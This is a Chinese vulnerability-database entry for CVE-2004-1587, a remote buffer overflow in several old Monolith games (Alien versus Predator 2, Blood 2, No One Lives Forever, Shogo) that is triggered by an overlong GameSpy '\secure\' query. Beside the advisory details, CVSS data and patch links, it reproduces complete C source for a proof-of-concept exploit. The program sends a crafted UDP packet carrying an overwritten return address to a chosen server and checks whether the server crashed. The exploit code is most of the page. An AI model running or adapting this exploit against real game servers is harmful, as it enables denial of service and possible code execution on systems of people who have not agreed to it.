CVE-2004-1587
CVSS5.0
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 22:57:06
NMCOE    

[原文]Buffer overflow in Monolith games including (1) Alien versus Predator 2 1.0.9.6 and earlier, (2) Blood 2 2.1 and earlier, (3) No one lives forever 1.004 and earlier and (4) Shogo 2.2 and earlier allows remote attackers to cause a denial of service (application crash) via a long secure Gamespy query.


[CNNVD]Monolith Games secure命令远程缓冲区溢出漏洞(CNNVD-200412-149)

        
        Monolith是多个在线游戏的引擎。
        多个Monolith游戏对secure命令处理不正确,远程攻击者可以利用这个漏洞对游戏服务程序进行缓冲区溢出攻击,可能以进程权限在系统上执行任意指令。
        攻击者只要发送secure GameSpy查询,并在后面追加68或更多字符,就会发生缓冲区溢出,精心构建提交请求,可导致以进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:monolith_productions:shogo:2.2
cpe:/a:monolith_productions:blood:2_2.1
cpe:/a:monolith_productions:alien_versus_predator:2.1.0.9.6
cpe:/a:monolith_productions:no_one_lives_forever:1.0.004

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1587
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1587
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-149
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=109728194025487&w=2
(UNKNOWN)  BUGTRAQ  20041008 Limited \secure\ buffer-overflow in some old Monolith games
http://marc.info/?l=full-disclosure&m=109727077824860&w=2
(UNKNOWN)  FULLDISC  20041008 Limited \secure\ buffer-overflow in some old Monolith games
http://securitytracker.com/alerts/2004/Oct/1011603.html
(UNKNOWN)  SECTRACK  1011603
http://www.securityfocus.com/bid/11354
(PATCH)  BID  11354
http://xforce.iss.net/xforce/xfdb/17665
(UNKNOWN)  XF  avp2-long-query-bo(17665)
http://xforce.iss.net/xforce/xfdb/17668
(UNKNOWN)  XF  blood2-long-query-bo(17668)
http://xforce.iss.net/xforce/xfdb/17669
(UNKNOWN)  XF  nolf-long-query-bo(17669)
http://xforce.iss.net/xforce/xfdb/17670
(UNKNOWN)  XF  shogo-long-query-bo(17670)

- 漏洞信息

Monolith Games secure命令远程缓冲区溢出漏洞
中危 边界条件错误
2004-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        Monolith是多个在线游戏的引擎。
        多个Monolith游戏对secure命令处理不正确,远程攻击者可以利用这个漏洞对游戏服务程序进行缓冲区溢出攻击,可能以进程权限在系统上执行任意指令。
        攻击者只要发送secure GameSpy查询,并在后面追加68或更多字符,就会发生缓冲区溢出,精心构建提交请求,可导致以进程权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Monolith
        --------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        For Alien versus Predator 2 1.0.9.6:
        
        http://aluigi.altervista.org/patches/avp2-1096-fix.zip

        For Blood 2 2.1:
        
        http://aluigi.altervista.org/patches/blood2-21-fix.zip

        For No one lives forever 1.004:
        
        http://aluigi.altervista.org/patches/nolf1004-fix.zip

        For Shogo 2.2:
        
        http://aluigi.altervista.org/patches/shogo22-fix.zip

- 漏洞信息 (571)

Monolith Games Local Buffer Overflow Exploit (EDBID:571)
windows dos
2004-10-10 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <net/inet.h>
    #include <netdb.h>
#endif



#define VER     "0.1.1"
#define PORT    27888
#define TIMEOUT 3
#define BUFFSZ  2048
#define PCK     "\\secure\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                "\x55\x44\x33\x22"
                /* return address, each byte must be >= 0x20 and <= 0x7f */



void gs_info_udp(u_long ip, u_short port);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    int     sd;
    u_short port = PORT;
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("\n"
        "\\secure\\ buffer overflow in some old Monolith games "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <server> [port(%d)]\n"
            "\n"
            "Vulnerable games            Latest versions\n"
            "  Alien versus predator 2   1.0.9.6\n"
            "  Blood 2                   2.1\n"
            "  No one lives forever      1.004\n"
            "  Shogo                     2.2\n"
            "\n"
            "Note: the return address will be overwritten by 0x%08lx\n"
            "      (only the bytes from 0x20 to 0x7f are allowed)\n"
            "\n", argv[0], port, *(u_long *)(PCK + 72));
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target is %s:%hu\n\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- Request informations:\n", stdout);
    gs_info_udp(peer.sin_addr.s_addr, port);

    fputs("- Send BOOM packet:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    close(sd);

    fputs("- Check server:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}



void gs_info_udp(u_long ip, u_short port) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            nt = 1;
    u_char  buff[2048],
            *p1,
            *p2;

    peer.sin_addr.s_addr = ip;
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    if(timeout(sd) < 0) {
        fputs("\nError: socket timeout, no replies received. Probably the server doesn't support the Gamespy query protocol or the port is wrong\n\n", stdout);
        close(sd);
        exit(1);
    }

    len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
    if(len < 0) std_err();

    buff[len] = 0x00;
    p1 = buff;
    while((p2 = strchr(p1, '\\'))) {
        *p2 = 0x00;

        if(!nt) {
            if(!*p1) break;
            printf("%30s: ", p1);
            nt++;
        } else {
            printf("%s\n", p1);
            nt = 0;
        }
        p1 = p2 + 1;
    }
    printf("%s\n\n", p1);
    close(sd);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2004-10-10]
		

- 漏洞信息

10635
Monolith Multiple Game \secure\ Gamespy Query Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-10-08 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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